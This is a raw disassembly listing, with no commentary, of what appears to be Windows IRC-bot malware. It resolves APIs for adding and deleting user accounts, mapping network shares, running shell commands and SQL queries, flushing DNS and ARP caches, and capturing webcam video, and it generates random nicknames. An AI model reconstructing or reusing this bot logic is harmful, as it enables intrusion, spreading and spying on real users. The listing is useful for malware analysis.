"NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 2680000h mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 2680000h mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj call near ptr 2680000h nop mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j call near ptr 2680000h nop mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj call near ptr 2680000h nop mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 2680000h mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j call near ptr 2680000h nop mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 2680D12h push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 2 dup(0E8h), 5Fh ; --------------------------------------------------------------------------- daa add dl, [eax-18h] test al, 0Bh add [eax], eax mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2680D12h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 2680D12h push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi call near ptr 26B0000h nop movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 2680D12h push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26C0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h call near ptr 26C055Ah nop call near ptr 2680D12h nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 2680D12h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 2680DC8h cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; 